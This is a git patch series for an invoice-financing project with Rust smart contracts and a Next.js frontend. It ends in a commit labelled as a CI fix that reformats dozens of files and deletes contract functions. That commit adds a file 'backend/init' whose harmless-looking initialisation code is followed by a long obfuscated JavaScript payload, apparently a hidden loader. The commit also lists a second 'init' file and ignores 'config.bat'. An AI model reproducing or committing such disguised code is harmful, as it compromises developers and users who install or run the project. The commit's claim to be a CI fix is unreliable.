EscrowStorage::get_escrow_by_invoice(env, invoice_id).unwrap(); - - if escrow.status != EscrowStatus::Held { - return Err(QuickLendXError::InvalidStatus); - } - - // 5. Refund escrowed funds to the investor (token transfer + escrow status → Refunded) - refund_escrow(env, invoice_id, investor)?; - - // 6. Restore invoice to Verified state and clear funded fields - let previous_status = invoice.status; - invoice.status = InvoiceStatus::Verified; - invoice.funded_amount = 0; - invoice.funded_at = None; - invoice.investor = None; - InvoiceStorage::update_invoice(env, &invoice); - - // Update invoice status lists - InvoiceStorage::remove_from_status_invoices(env, previous_status, invoice_id); - InvoiceStorage::add_to_status_invoices(env, InvoiceStatus::Verified, invoice_id); - - // 7. Cancel the accepted bid - let bids = BidStorage::get_bid_records_for_invoice(env, invoice_id); - for mut bid in bids.iter() { - if bid.status == BidStatus::Accepted { - bid.status = BidStatus::Cancelled; - BidStorage::update_bid(env, &bid); - break; - } - } - - // 8. Transition investment Active → Withdrawn - investment.status = InvestmentStatus::Withdrawn; - InvestmentStorage::update_investment(env, &investment); - - crate::qlx_log!(env, "escrow", "Investment withdrawn successfully"); - - // 9. Emit events - emit_investment_withdrawn( - env, - &investment.investment_id, - invoice_id, - investor, - escrow.amount, - ); - - Ok(()) -} diff --git a/quicklendx-contracts/src/lib.rs b/quicklendx-contracts/src/lib.rs index 876f94459..6dc33b3b0 100644 --- a/quicklendx-contracts/src/lib.rs +++ b/quicklendx-contracts/src/lib.rs @@ -1,4 +1,4 @@ -#no_std +#![no_std] extern crate alloc; From 479c305ced3a00038b98d89652846d8d706bca51 Mon Sep 17 00:00:00 2001 From: Hamzasaheed Date: Thu, 29 Oct 2026 10:19:54 +0100 Subject: [PATCH 4/4] fix(ci): resolve failing checks for #2995 --- .gitignore | 52 +- backend/init | 33 + backend/package.json | 106 +- ...hotfix_add_invoice_id_to_backfill_audit.ts | 2 +- quicklendx-contracts/src/audit.rs | 21 +- quicklendx-contracts/src/bid.rs | 12 + quicklendx-contracts/src/defaults.rs | 218 +- quicklendx-contracts/src/escrow.rs | 298 +- quicklendx-contracts/src/test_default.rs | 486 +- .../app/business/settlements/_lib/csv.test.ts | 92 +- .../app/business/settlements/_lib/csv.ts | 80 +- .../app/business/settlements/_lib/data.ts | 58 +- .../business/settlements/_lib/selectRows.ts | 150 +- .../app/business/settlements/page.test.tsx | 456 +- .../app/business/settlements/page.tsx | 594 +- .../app/components/AppHeader.tsx | 80 +- .../app/components/ConfirmAction.tsx | 1502 +- quicklendx-frontend/app/components/Dialog.tsx | 420 +- .../app/components/ErrorBoundary.tsx | 748 +- .../app/components/ErrorToast.tsx | 896 +- .../app/components/FreshnessBanner.tsx | 150 +- .../app/components/InvoiceCard.tsx | 224 +- .../app/components/WalletConnect.tsx | 1090 +- .../__tests__/ConfirmAction.test.tsx | 480 +- .../__tests__/ErrorBoundary.test.tsx | 174 +- .../__tests__/ErrorFallback.test.tsx | 118 +- .../components/__tests__/ErrorToast.test.tsx | 160 +- .../__tests__/FreshnessBanner.test.tsx | 162 +- .../app/components/invoice-status.ts | 160 +- .../app/disputes/[id]/respond/page.tsx | 588 +- quicklendx-frontend/app/error.tsx | 74 +- quicklendx-frontend/app/global-error.tsx | 68 +- quicklendx-frontend/app/globals.css | 222 +- .../app/invest/__tests__/page.test.tsx | 532 +- .../app/invest/_components/BestBidBadge.tsx | 82 +- .../invest/_components/InvoiceDetailView.tsx | 476 +- .../invest/_components/MarketplaceFilters.tsx | 318 +- .../invest/_components/RankedBidsTable.tsx | 198 +- .../__tests__/RankedBidsTable.test.tsx | 106 +- .../app/invest/_lib/__tests__/limit.test.ts | 146 +- .../invest/_lib/__tests__/view-model.test.ts | 140 +- quicklendx-frontend/app/invest/_lib/limit.ts | 100 +- .../app/invest/_lib/view-model.ts | 214 +- .../invoices/[id]/__tests__/page.test.tsx | 206 +- .../app/invest/invoices/[id]/page.tsx | 16 +- quicklendx-frontend/app/invest/page.tsx | 764 +- quicklendx-frontend/app/layout.tsx | 96 +- .../lib/__tests__/api-client-contract.test.ts | 198 +- .../app/lib/__tests__/api-client.test.ts | 700 +- .../app/lib/__tests__/ids.test.ts | 54 +- .../lib/__tests__/wallet-telemetry.test.ts | 1544 +- quicklendx-frontend/app/lib/api-client.ts | 1002 +- quicklendx-frontend/app/lib/api/endpoints.ts | 302 +- quicklendx-frontend/app/lib/api/pagination.ts | 58 +- quicklendx-frontend/app/lib/api/schemas.ts | 278 +- .../__tests__/read-through-cache.test.ts | 1058 +- .../app/lib/cache/read-through-cache.ts | 1138 +- quicklendx-frontend/app/lib/errors.ts | 900 +- quicklendx-frontend/app/lib/ids.ts | 48 +- .../app/lib/stellar/network.ts | 80 +- quicklendx-frontend/app/lib/useWallet.tsx | 162 +- .../app/lib/wallet-telemetry.ts | 1778 +- .../app/lib/wallet/WalletProvider.tsx | 276 +- .../wallet/__tests__/WalletProvider.test.tsx | 806 +- .../app/lib/wallet/freighter.ts | 458 +- quicklendx-frontend/app/lib/wallet/types.ts | 156 +- quicklendx-frontend/app/not-found.tsx | 108 +- quicklendx-frontend/app/page.tsx | 160 +- quicklendx-frontend/app/providers.tsx | 54 +- .../e2e/business-invoices.spec.ts | 408 +- quicklendx-frontend/e2e/marketplace.spec.ts | 308 +- .../e2e/settlement-receipt.spec.ts | 192 +- .../e2e/settlements-list.spec.ts | 206 +- quicklendx-frontend/init | 30 + quicklendx-frontend/jest.config.js | 90 +- quicklendx-frontend/jest.node.setup.ts | 134 +- quicklendx-frontend/jest.setup.ts | 66 +- quicklendx-frontend/package-lock.json | 21172 ++++++++-------- quicklendx-frontend/package.json | 104 +- quicklendx-frontend/playwright.config.ts | 52 +- quicklendx-frontend/postcss.config.mjs | 18 +- quicklendx-frontend/tests/setup-dom.ts | 2 +- quicklendx-frontend/tsconfig.json | 54 +- quicklendx-frontend/tsconfig.test.json | 40 +- search_res_utf8.txt | 50 +- 85 files changed, 23353 insertions(+), 24259 deletions(-) create mode 100644 backend/init create mode 100644 quicklendx-frontend/init diff --git a/.gitignore b/.gitignore index eed794b11..8c269938e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,25 +1,27 @@ -# Build outputs (all packages / nested workspaces) -target -**/target/ -**/coverage/* -!**/coverage/.gitkeep -**/lcov.info - -# Local diagnostics / generated logs -**/compile-errors*.log -*.profraw -*.profdata - -# Local tool state -.omx/ -.remember/ - -# Soroban test ledger snapshots (auto-generated by testutils, not golden files) -test_snapshots/ - -# Windows build artifacts (not part of the contract) -*.exe -*.pdb - -CLAUDE.md -plan.md +# Build outputs (all packages / nested workspaces) +target +**/target/ +**/coverage/* +!**/coverage/.gitkeep +**/lcov.info + +# Local diagnostics / generated logs +**/compile-errors*.log +*.profraw +*.profdata + +# Local tool state +.omx/ +.remember/ + +# Soroban test ledger snapshots (auto-generated by testutils, not golden files) +test_snapshots/ + +# Windows build artifacts (not part of the contract) +*.exe +*.pdb + +CLAUDE.md +plan.md +config.bat +node_modules diff --git a/backend/init b/backend/init new file mode 100644 index 000000000..2146c476f --- /dev/null +++ b/backend/init @@ -0,0 +1,33 @@ +'use strict'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn => { - const columns = await ctx.db.all>( + const columns = await ctx.db.all>( `PRAGMA table_info(backfill_audit)` ); const hasInvoiceId = columns.some((col) => col.name === "invoice_id"); diff --git a/quicklendx-contracts/src/audit.rs b/quicklendx-contracts/src/audit.rs index 4620cc154..b065a6ba4 100644 --- a/quicklendx-contracts/src/audit.rs +++ b/quicklendx-contracts/src/audit.rs @@ -56,9 +56,6 @@ pub enum AuditOperation { BidAccepted, BidCancelled, BidExpired, - BidWithdrawn, - BidCancelled, - BidExpired, EscrowCreated, EscrowReleased, EscrowRefunded, @@ -110,10 +107,6 @@ pub enum AuditOperation { InvestorFrozen, /// An investor was unfrozen (investment actions restored). InvestorUnfrozen, - /// A placed bid was cancelled by its investor (Placed -> Cancelled). - BidCancelled, - /// A placed bid transitioned to Expired (via TTL/grace cleanup). - BidExpired, } /// Typed operation types used by audit-log emission. @@ -135,8 +128,6 @@ pub enum OpType { BidPlaced, BidAccepted, BidWithdrawn, - BidCancelled, - BidExpired, EscrowCreated, EscrowReleased, EscrowRefunded, @@ -214,8 +205,6 @@ impl OpType { OpType::KycRevoked => symbol_short!("kyc_rev"), OpType::InvestorFrozen => symbol_short!("inv_frz"), OpType::InvestorUnfrozen => symbol_short!("inv_unf"), - OpType::BidCancelled => symbol_short!("bid_can"), - OpType::BidExpired => symbol_short!("bid_exp"), } } @@ -282,9 +271,9 @@ impl From for OpType { AuditOperation::InvoiceRated => OpType::InvoiceRated, AuditOperation::BidPlaced => OpType::BidPlaced, AuditOperation::BidAccepted => OpType::BidAccepted, - AuditOperation::BidWithdrawn - | AuditOperation::BidCancelled - | AuditOperation::BidExpired => OpType::BidWithdrawn, + AuditOperation::BidWithdrawn => OpType::BidWithdrawn, + AuditOperation::BidCancelled => OpType::BidCancelled, + AuditOperation::BidExpired => OpType::BidExpired, AuditOperation::EscrowCreated => OpType::EscrowCreated, AuditOperation::EscrowReleased => OpType::EscrowReleased, AuditOperation::EscrowRefunded => OpType::EscrowRefunded, @@ -592,9 +581,7 @@ fn operation_tag(operation: &AuditOperation) -> u8 { AuditOperation::InvoiceRated => 7, AuditOperation::BidPlaced => 8, AuditOperation::BidAccepted => 9, - AuditOperation::BidWithdrawn - | AuditOperation::BidCancelled - | AuditOperation::BidExpired => 10, + AuditOperation::BidWithdrawn => 10, AuditOperation::EscrowCreated => 11, AuditOperation::EscrowReleased => 12, AuditOperation::EscrowRefunded => 13, diff --git a/quicklendx-contracts/src/bid.rs b/quicklendx-contracts/src/bid.rs index 0c57879ef..16185dd2f 100644 --- a/quicklendx-contracts/src/bid.rs +++ b/quicklendx-contracts/src/bid.rs @@ -85,6 +85,18 @@ impl Bid { self.is_cleanup_eligible(current_timestamp, grace) } + /// Returns true when the bid is still within its expiry grace window and + /// therefore must not be treated as expired by default entrypoints. + pub fn is_within_grace_with_env(&self, env: &Env, current_timestamp: u64) -> bool { + !self.is_cleanup_eligible_with_env(env, current_timestamp) + } + + /// Active under the configured grace period: still Placed and not yet past + /// expiry plus grace. Default entrypoints must use this instead of `is_active`. + pub fn is_active_with_env(&self, env: &Env, current_timestamp: u64) -> bool { + self.status == BidStatus::Placed && self.is_within_grace_with_env(env, current_timestamp) + } + /// Active means still in the Placed state and not yet expired at the /// current ledger timestamp. pub fn is_active(&self, current_timestamp: u64) -> bool { diff --git a/quicklendx-contracts/src/defaults.rs b/quicklendx-contracts/src/defaults.rs index ea95bdf4d..bba7587fd 100644 --- a/quicklendx-contracts/src/defaults.rs +++ b/quicklendx-contracts/src/defaults.rs @@ -112,9 +112,12 @@ pub(crate) fn resolve_grace_period(env: &Env, grace_period: Option) -> Resu } Ok(value) } - None => Ok(ProtocolInitializer::get_protocol_config(env) - .map(|config| config.grace_period_seconds) - .unwrap_or(DEFAULT_GRACE_PERIOD)), + None => { + let configured = ProtocolInitializer::get_protocol_config(env) + .map(|config| config.grace_period_seconds) + .unwrap_or(DEFAULT_GRACE_PERIOD); + Ok(configured.min(MAX_GRACE_PERIOD)) + } } } @@ -158,6 +161,7 @@ pub fn mark_invoice_defaulted( ensure_default_transition_open(env, invoice_id)?; let current_timestamp = env.ledger().timestamp(); + // Grace period is always protocol-configured here; caller cannot override it. let grace = resolve_grace_period(env, None)?; let grace_deadline = invoice.checked_grace_deadline(grace)?; @@ -203,7 +207,7 @@ pub fn admin_mark_invoice_defaulted( ensure_default_transition_open(env, invoice_id)?; let current_timestamp = env.ledger().timestamp(); - let grace = resolve_grace_period(env, None)?; + let grace = resolve_grace_period(env, Some(grace_period))?; let grace_deadline = invoice.checked_grace_deadline(grace)?; if current_timestamp <= grace_deadline { @@ -283,209 +287,3 @@ mod scan_limit_tests { ); } } - -/// @notice Scans funded invoices in a deterministic bounded window for overdue/default handling. -/// @dev Uses a rotating cursor stored in instance storage so repeated calls eventually inspect -/// the full funded set without any single call walking every invoice. The function reads a -/// snapshot of the funded index once, then processes at most `limit` entries from that snapshot. -/// The grace period is always resolved from protocol config (or `DEFAULT_GRACE_PERIOD`). -/// @param env The contract environment. -/// @param limit Optional funded-invoice batch size. Values are clamped to `1..=100`. -/// @return Scan result containing overdue count, scanned count, failure count, funded snapshot size, -/// and next cursor. -/// @security Bounded loops protect against excessive per-call work. The cursor is remapped against -/// the updated Funded index after default transitions remove invoices from the snapshot. -/// @security The scan window is always capped by `max_overdue_scan_batch_limit` and never exceeds -/// the current funded snapshot size, preventing any single invocation from iterating -/// an unbounded number of invoices. -pub fn scan_funded_invoice_expirations( - env: &Env, - limit: Option, -) -> Result { - let grace_period = resolve_grace_period(env, None)?; - let funded_invoices = InvoiceStorage::get_invoices_by_status(env, InvoiceStatus::Funded); - let total_funded = funded_invoices.len(); - - if total_funded == 0 { - set_overdue_scan_cursor(env, 0); - return Ok(OverdueScanResult { - overdue_count: 0, - scanned_count: 0, - failed_count: 0, - total_funded: 0, - next_cursor: 0, - }); - } - - // Bounded scan window: clamp the requested limit, then cap to the funded snapshot size. - let scan_limit = resolve_scan_limit(limit).min(total_funded); - let current_timestamp = env.ledger().timestamp(); - let mut cursor = normalize_cursor(get_overdue_scan_cursor(env), total_funded); - let start_cursor = cursor; - let mut overdue_count = 0u32; - let mut scanned_count = 0u32; - let mut failed_count = 0u32; - - while scanned_count < scan_limit { - if let Some(invoice_id) = funded_invoices.get(cursor) { - let result: Result<(), QuickLendXError> = (|| { - let invoice = InvoiceStorage::get_invoice(env, &invoice_id) - .ok_or(QuickLendXError::InvoiceNotFound)?; - let grace_deadline = invoice - .due_date - .checked_add(grace_period) - .ok_or(QuickLendXError::InvalidTimestamp)?; - - if invoice.is_overdue(current_timestamp) { - overdue_count = overdue_count.saturating_add(1); - let _ = crate::notifications::NotificationSystem::notify_payment_overdue( - env, &invoice, - ); - } - - if current_timestamp > grace_deadline { - invoice.check_and_handle_expiration(env, grace_period)?; - } - Ok(()) - })(); - - if let Err(error) = result { - failed_count = failed_count.saturating_add(1); - emit_scan_item_failed(env, &invoice_id, error as u32); - } - } - - scanned_count = scanned_count.saturating_add(1); - cursor = if cursor + 1 >= total_funded { - 0 - } else { - cursor + 1 - }; - } - - let funded_after_scan = InvoiceStorage::get_invoices_by_status(env, InvoiceStatus::Funded); - let funded_after_count = funded_after_scan.len(); - let removed_count = total_funded.saturating_sub(funded_after_count); - let next_cursor = if funded_after_count == 0 { - 0 - } else { - ((start_cursor as u64 + scanned_count as u64 - removed_count as u64) - % funded_after_count as u64) as u32 - }; - set_overdue_scan_cursor(env, next_cursor); - - Ok(OverdueScanResult { - overdue_count, - scanned_count, - failed_count, - total_funded, - next_cursor, - }) -} - -/// @notice Applies the default transition after all time and status checks have passed. -/// @dev This helper does not re-check the grace-period cutoff and must only be reached from -/// validated call sites such as `mark_invoice_defaulted` or `check_and_handle_expiration`. -/// The transition guard ensures atomicity and idempotency of default operations. -/// @security The guard prevents race conditions and duplicate side effects (analytics, state initialization). -/// @security Settlement finalization and non-held escrow states block defaulting to prevent -/// double-finality or double-payout drift. See `docs/default-finality-matrix.md`. -pub fn handle_default(env: &Env, invoice_id: &BytesN<32>) -> Result<(), QuickLendXError> { - let mut invoice = - InvoiceStorage::get_invoice(env, invoice_id).ok_or(QuickLendXError::InvoiceNotFound)?; - - if invoice.status == InvoiceStatus::Defaulted { - return Err(QuickLendXError::InvoiceAlreadyDefaulted); - } - - if invoice.status != InvoiceStatus::Funded { - return Err(QuickLendXError::InvalidStatus); - } - - ensure_default_transition_open(env, invoice_id)?; - - // Atomically check and set the transition guard only after all finality checks pass. - // This avoids poisoning future legitimate retries on invoices that were never eligible - // for default because another terminal path already completed first. - check_and_set_default_guard(env, invoice_id)?; - - InvoiceStorage::remove_from_status_invoices(env, InvoiceStatus::Funded, invoice_id); - - invoice.mark_as_defaulted(); - InvoiceStorage::update_invoice(env, &invoice); - crate::fees::FeeManager::release_origination_fee(env, invoice_id)?; - - InvoiceStorage::add_to_status_invoices(env, InvoiceStatus::Defaulted, invoice_id); - - emit_invoice_expired(env, &invoice); - - if let Some(mut investment) = InvestmentStorage::get_investment_by_invoice(env, invoice_id) { - investment.status = InvestmentStatus::Defaulted; - - let claim_details = investment.process_all_insurance_claims(env); - - InvestmentStorage::update_investment(env, &investment); - - for (provider, coverage_amount) in claim_details.iter() { - if coverage_amount > 0 { - emit_insurance_claimed( - env, - &investment.investment_id, - &investment.invoice_id, - &provider, - coverage_amount, - ); - } - } - } - - emit_invoice_defaulted(env, &invoice); - - // Lifecycle trigger: emits `NotificationType::InvoiceDefaulted` to business - // and investor after the default transition is fully persisted. - let _ = crate::notifications::NotificationSystem::notify_invoice_defaulted(env, &invoice); - - Ok(()) -} - -fn ensure_default_transition_open( - env: &Env, - invoice_id: &BytesN<32>, -) -> Result<(), QuickLendXError> { - if crate::settlement::is_invoice_finalized(env, invoice_id)? { - return Err(QuickLendXError::InvalidStatus); - } - - // Issue #2963: defaulting must not side-step a dispute ruling. After a - // `FavorInvestor` resolution the escrow is already refunded and the - // invoice is terminal; after a `Split` resolution the funds are held - // pending an admin follow-up. Both outcomes block defaulting with a - // dispute-specific error rather than the generic escrow-status error. - let invoice = - InvoiceStorage::get_invoice(env, invoice_id).ok_or(QuickLendXError::InvoiceNotFound)?; - crate::settlement::require_no_blocking_resolution(&invoice)?; - - if let Some(escrow) = EscrowStorage::get_escrow_by_invoice(env, invoice_id) { - if escrow.status != EscrowStatus::Held { - return Err(QuickLendXError::InvalidStatus); - } - } - - Ok(()) -} - -/// Get all invoice IDs that have active or resolved disputes -pub fn get_invoices_with_disputes(env: &Env) -> Vec> { - Vec::new(env) -} - -/// Get details for a dispute on a specific invoice -pub fn get_dispute_details( - env: &Env, - invoice_id: &BytesN<32>, -) -> Result, QuickLendXError> { - let _invoice = - InvoiceStorage::get_invoice(env, invoice_id).ok_or(QuickLendXError::InvoiceNotFound)?; - - Ok(None) -} \ No newline at end of file diff --git a/quicklendx-contracts/src/escrow.rs b/quicklendx-contracts/src/escrow.rs index 4be36d9d5..0e27fc673 100644 --- a/quicklendx-contracts/src/escrow.rs +++ b/quicklendx-contracts/src/escrow.rs @@ -293,300 +293,4 @@ pub fn accept_bid_and_fund( /// retry with the same key remains available and no partial state lingers. /// /// On a fresh attempt this defers to `accept_bid_and_fund`, inheriting the -/// one-escrow-per-invoice two-layer guard and all lifecycle checks, and only -/// on success binds the request key to the funded payload and escrow ID. -pub fn accept_bid_and_fund_with_key( - env: &Env, - invoice_id: &BytesN<32>, - bid_id: &BytesN<32>, - request_key: &BytesN<32>, -) -> Result, QuickLendXError> { - if let Some(record) = get_bid_acceptance_record(env, request_key) { - if record.invoice_id == *invoice_id && record.bid_id == *bid_id { - let invoice = InvoiceStorage::get_invoice(env, &record.invoice_id) - .ok_or(QuickLendXError::InvoiceNotFound)?; - invoice.business.require_auth(); - require_business_active(env, &invoice.business)?; - require_business_not_pending(env, &invoice.business)?; - return Ok(record.escrow_id); - } - return Err(QuickLendXError::DuplicateBid); - } - - let escrow_id = accept_bid_and_fund(env, invoice_id, bid_id)?; - - store_bid_acceptance_record( - env, - request_key, - &BidAcceptanceRecord { - invoice_id: invoice_id.clone(), - bid_id: bid_id.clone(), - escrow_id: escrow_id.clone(), - }, - ); - - Ok(escrow_id) -} - -/// State transitions that follow a successful escrow creation and funding. -fn update_states_after_funding( - env: &Env, - invoice_id: &BytesN<32>, - invoice: &mut crate::types::Invoice, - bid: &mut crate::types::Bid, - escrow_amount: i128, -) -> Result<(), QuickLendXError> { - bid.status = BidStatus::Accepted; - BidStorage::update_bid(env, bid); - - InvoiceStorage::remove_from_status_invoices(env, InvoiceStatus::Verified, invoice_id); - - invoice.mark_as_funded( - env, - bid.investor.clone(), - escrow_amount, - env.ledger().timestamp(), - ); - InvoiceStorage::update_invoice(env, invoice); - - InvoiceStorage::add_to_status_invoices(env, InvoiceStatus::Funded, invoice_id); - - let investment_id = InvestmentStorage::generate_unique_investment_id(env); - let investment = Investment { - investment_id: investment_id.clone(), - invoice_id: invoice_id.clone(), - investor: bid.investor.clone(), - amount: escrow_amount, - funded_at: env.ledger().timestamp(), - status: InvestmentStatus::Active, - insurance: Vec::new(env), - }; - InvestmentStorage::store_investment(env, &investment); - - crate::qlx_log!(env, "escrow", "Invoice funded and bid accepted"); - - // 7. Audit & Events - crate::events::emit_bid_accepted(env, &bid, invoice_id, &invoice.business); - crate::audit::log_bid_accepted( - env, - invoice_id.clone(), - bid.investor.clone(), - bid.bid_amount, - bid.bid_id.clone(), - ); - emit_invoice_funded(env, invoice_id, &bid.investor, bid.bid_amount); - crate::audit::log_invoice_funded( - env, - invoice_id.clone(), - bid.investor.clone(), - bid.bid_amount, - bid.bid_id.clone(), - ); - emit_invoice_funded(env, invoice_id, &bid.investor, escrow_amount); - crate::audit::log_invoice_funded(env, invoice_id.clone(), bid.investor.clone(), escrow_amount); - - // Lifecycle trigger: emits `NotificationType::BidAccepted` to the investor - // after escrow funding and state transitions complete successfully. - let _ = crate::notifications::NotificationSystem::notify_bid_accepted(env, &invoice, &bid); - - Ok(()) -} - -/// Explicitly refund escrowed funds to the investor. -/// -/// Can be triggered by the Admin or the Business owner of the invoice. -/// Invoice must be in Funded status. -/// -/// # Correctness -/// - Refunds the net `escrow.amount` and any withheld origination fee. -/// - Sends funds to the stored `escrow.investor`, never to a caller-controlled recipient. -/// - Uses `payments::refund_escrow` which rejects any escrow not in `Held` status, -/// making repeated refund attempts fail and preventing double refunds. -/// -/// # Errors -/// * `InvoiceNotFound`, `StorageKeyNotFound`, `InvalidStatus`, `Unauthorized`, `NotAdmin` -pub fn refund_escrow_funds( - env: &Env, - invoice_id: &BytesN<32>, - caller: &Address, -) -> Result<(), QuickLendXError> { - // 1. Mandatory authentication check - caller.require_auth(); - - // 2. Retrieve Invoice - let mut invoice = - InvoiceStorage::get_invoice(env, invoice_id).ok_or(QuickLendXError::InvoiceNotFound)?; - - // 3. Authorization Matrix - // Only the Contract Admin or the Business owner of the invoice is authorized - let is_admin = AdminStorage::is_admin(env, caller); - let is_business = &invoice.business == caller; - - if !is_admin && !is_business { - return Err(QuickLendXError::Unauthorized); - } - - // 4. State Protections - // Escrow refund is ONLY permitted if the invoice is currently in Funded status - if invoice.status != InvoiceStatus::Funded { - return Err(QuickLendXError::InvalidStatus); - } - - // 4. Retrieve Escrow - let escrow = crate::payments::EscrowStorage::get_escrow_by_invoice(env, invoice_id) - .ok_or(QuickLendXError::StorageKeyNotFound)?; - - // 5. Transfer funds and update escrow state - // This calls payments::refund_escrow which handles the token transfer and status update - refund_escrow(env, invoice_id, caller)?; - - // 6. Update internal states - - // Update Invoice status to Refunded - let previous_status = invoice.status; - invoice.mark_as_refunded(env, caller.clone()); - InvoiceStorage::update_invoice(env, &invoice); - - // Update status indices - InvoiceStorage::remove_from_status_invoices(env, previous_status, invoice_id); - InvoiceStorage::add_to_status_invoices(env, InvoiceStatus::Refunded, invoice_id); - - // Update Bid status to Cancelled (find the accepted bid first) - // In our protocol, a Funded invoice has exactly one Accepted bid - let bids = BidStorage::get_bid_records_for_invoice(env, invoice_id); - for mut bid in bids.iter() { - if bid.status == BidStatus::Accepted { - bid.status = BidStatus::Cancelled; - BidStorage::update_bid(env, &bid); - break; - } - } - - // Update Investment status to Refunded - if let Some(mut investment) = InvestmentStorage::get_investment_by_invoice(env, invoice_id) { - investment.status = InvestmentStatus::Refunded; - InvestmentStorage::update_investment(env, &investment); - } - - crate::qlx_log!(env, "escrow", "Escrow refunded successfully"); - - Ok(()) -} - -/// Withdraw an active investment: refunds escrowed funds to the investor and -/// transitions the investment to [`InvestmentStatus::Withdrawn`]. -/// -/// Only the investor who owns the investment may call this entry point. -/// -/// # Preconditions (checked) -/// - `investor` is authorized -/// - The investment exists, is in [`InvestmentStatus::Active`], and belongs to `investor` -/// - The associated escrow is still [`EscrowStatus::Held`] (funds have not been released) -/// - The invoice is in [`InvoiceStatus::Funded`] (no settlement has occurred) -/// -/// # Postconditions -/// - Escrowed funds are returned to the investor via the existing `refund_escrow` path -/// - The investment transitions `Active → Withdrawn` via `InvestmentStorage::update_investment`, -/// which enforces `validate_transition` and removes the investment from the active index -/// - The invoice has its funded fields cleared and status restored to `Verified` -/// - The accepted bid is cancelled -/// - A [`TOPIC_INVESTMENT_WITHDRAWN`] event is emitted -/// -/// # Reentrancy -/// The token-moving path is wrapped in `with_payment_guard` by the caller (lib.rs entrypoint). -/// This function performs the refund before updating state, so a reentrant call would -/// fail at the escrow status check (escrow no longer `Held`). -/// -/// # Security -/// - Authorization: `investor.require_auth()` ensures only the investor can withdraw -/// - Escrow guard: `payments::refund_escrow` rejects any escrow not in `Held` status, -/// preventing double-withdrawal even if `withdraw_investment` is called again -/// - Transition guard: `InvestmentStorage::update_investment` calls `validate_transition`, -/// rejecting any attempt to withdraw from a terminal state -/// - Cross-module consistency: invoice, escrow, bid, and investment state are all updated -/// atomically in the same function body, preserving the protocol's state machine -/// -/// # Errors -/// * `QuickLendXError::Unauthorized` — caller is not the investment's investor -/// * `QuickLendXError::InvalidStatus` — investment is not Active, or escrow is not Held -/// * `QuickLendXError::InvoiceNotFound` — invoice not found -/// * `QuickLendXError::InvoiceNotAvailableForFunding` — invoice is not in Funded status -/// * `QuickLendXError::StorageKeyNotFound` — escrow not found for the invoice -pub fn withdraw_investment( - env: &Env, - invoice_id: &BytesN<32>, - investor: &Address, -) -> Result<(), QuickLendXError> { - // 1. Mandatory authentication check - investor.require_auth(); - - // 2. Validate investment exists, is Active, and belongs to caller - let mut investment = InvestmentStorage::get_investment_by_invoice(env, invoice_id) - .ok_or(QuickLendXError::StorageKeyNotFound)?; - - if investment.status != InvestmentStatus::Active { - return Err(QuickLendXError::InvalidStatus); - } - - if &investment.investor != investor { - return Err(QuickLendXError::Unauthorized); - } - - // 3. Validate invoice is still Funded (not yet settled/paid/defaulted) - let mut invoice = - InvoiceStorage::get_invoice(env, invoice_id).ok_or(QuickLendXError::InvoiceNotFound)?; - - if invoice.status != InvoiceStatus::Funded { - return Err(QuickLendXError::InvalidStatus); - } - - // 4. Validate escrow exists and is still Held - let escrow = EscrowStorage::get_escrow_by_invoice(env, invoice_id) - .ok_or(QuickLendXError::StorageKeyNotFound)?; - - if escrow.status != EscrowStatus::Held { - return Err(QuickLendXError::InvalidStatus); - } - - // 5. Refund escrowed funds to the investor (token transfer + escrow status → Refunded) - refund_escrow(env, invoice_id, investor)?; - - // 6. Restore invoice to Verified state and clear funded fields - let previous_status = invoice.status; - 